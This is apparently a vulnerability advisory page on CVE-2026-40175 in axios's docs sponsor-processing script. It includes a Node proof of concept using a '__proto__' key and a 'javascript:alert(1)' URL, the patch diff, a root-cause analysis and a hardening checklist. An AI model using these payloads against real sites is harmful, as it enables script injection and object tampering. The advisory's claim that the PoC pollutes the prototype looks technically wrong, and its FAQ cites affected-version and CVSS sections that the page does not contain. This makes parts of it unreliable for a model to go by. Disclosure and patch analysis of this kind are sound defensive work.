SECURITY ADVISORY / 01

CVE-2026-40175 Exploit & Vulnerability Analysis

Complete CVE-2026-40175 security advisory with proof of concept (PoC), exploit details, and patch analysis for axios.

axios products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

Attacker needs only the ability to inject a malicious sponsor record into process-sponsors.js during the docs build process.

node - <<'NODE'
const allSponsorsProcessedData = [
  { slug: 'evil', tier: '__proto__', url: 'javascript:alert(1)' }
];
const activeSponsorsProcessedData = [];

const buildLinks = (url, bypass = false) => {
  if (bypass) return url;
  try {
    const urlObject = new URL(url);
    const { searchParams } = urlObject;
    searchParams.set('utm_source', 'axios_docs_website');
    searchParams.set('utm_medium', 'website');
    searchParams.set('utm_campaign', 'axios_open_collective_sponsorship');
    return urlObject.toString();
  } catch {
    return url;
  }
};

const sponsorsByTier = {};
for (const sponsor of allSponsorsProcessedData) {
  sponsorsByTier[sponsor.tier] ||= [];
}

console.log('poisoned prototype push available:', typeof ({}).push);
console.log('link output:', buildLinks(allSponsorsProcessedData[0].url));
NODE

The output shows the bug in action: a plain object now inherits array methods because sponsor.tier was __proto__, and the link builder returns a javascript: URI with tracking parameters appended.

What the Patch Did

Before:

const buildLinks = (url, bypass = false) => {
  if (bypass) {
    return url;
  }

  try {
    const urlObject = new URL(url);

    const { searchParams } = urlObject;

    searchParams.set('utm_source', 'axios_docs_website');
    searchParams.set('utm_medium', 'website');
    searchParams.set('utm_campaign', 'axios_open_collective_sponsorship');

    return urlObject.toString();
  } catch {
    return url;
  }
};

const sponsorsByTier = {};

for (const sponsor of allSponsorsProcessedData) {
  sponsorsByTier[sponsor.tier] ||= [];
  ...
}

After:

const buildLinks = (url, bypass = false) => {
  if (bypass) {
    return url;
  }

  try {
    const urlObject = new URL(url);

    if (!['http:', 'https:'].includes(urlObject.protocol)) {
      return null;
    }

    const { searchParams } = urlObject;

    searchParams.set('utm_source', 'axios_docs_website');
    searchParams.set('utm_medium', 'website');
    searchParams.set('utm_campaign', 'axios_open_collective_sponsorship');

    return urlObject.toString();
  } catch {
    return null;
  }
};

const sponsorsByTier = Object.create(null);

for (const sponsor of allSponsorsProcessedData) {
  sponsorsByTier[sponsor.tier] ||= [];
  ...
}

The patch added two precise controls: a protocol whitelist for parsed URLs, and a null-prototype dictionary to prevent attacker-controlled keys from mutating Object.prototype.

Root Cause

The bug combined two failures in docs/scripts/process-sponsors.js. First, buildLinks() accepted any url scheme that new URL(url) could parse, so attacker-controlled input like javascript:alert(1) survived and was returned as an href candidate. Second, the sponsor grouping code used a plain object literal for sponsorsByTier and indexed it with attacker-controlled sponsor.tier; a value of __proto__ crossed the trust boundary and mutated the prototype chain instead of creating an ordinary map entry. This is prototype pollution (CWE-1321) plus insufficient input validation for URL schemes (CWE-20).

Why It Works

The load-bearing fixes are the protocol check and the Object.create(null) line. Without if (!['http:', 'https:'].includes(urlObject.protocol)), javascript: remains a valid URL object and the helper still returns it, so the URL validation bug is still exploitable. Without Object.create(null), sponsorsByTier[sponsor.tier] ||= [] on a malicious __proto__ key would again alter object inheritance. The return null changes are the safe failure path needed after introducing the protocol check; they ensure invalid or disallowed URLs are dropped instead of echoed back.

Hardening Checklist

  • Use Object.create(null) for maps keyed by external data instead of {}.
  • Validate URL.protocol against a whitelist like ['http:', 'https:'] after parsing with new URL().
  • Fail closed: return null or throw on parse failures instead of returning the original untrusted string.
  • Avoid shorthand object initialization (obj[key] ||= []) when key can be attacker-controlled; use explicit key checks like Object.hasOwn(obj, key) if needed.
  • Normalize third-party metadata before template building so fields like tier and url are constrained to expected values.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2026-40175

Frequently asked questions about CVE-2026-40175

What is CVE-2026-40175?

CVE-2026-40175 is a security vulnerability identified in axios. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2026-40175?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2026-40175. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2026-40175 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting axios. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2026-40175?

CVE-2026-40175 affects axios. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2026-40175?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for axios.

What is the CVSS score for CVE-2026-40175?

The severity rating and CVSS scoring for CVE-2026-40175 affecting axios is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.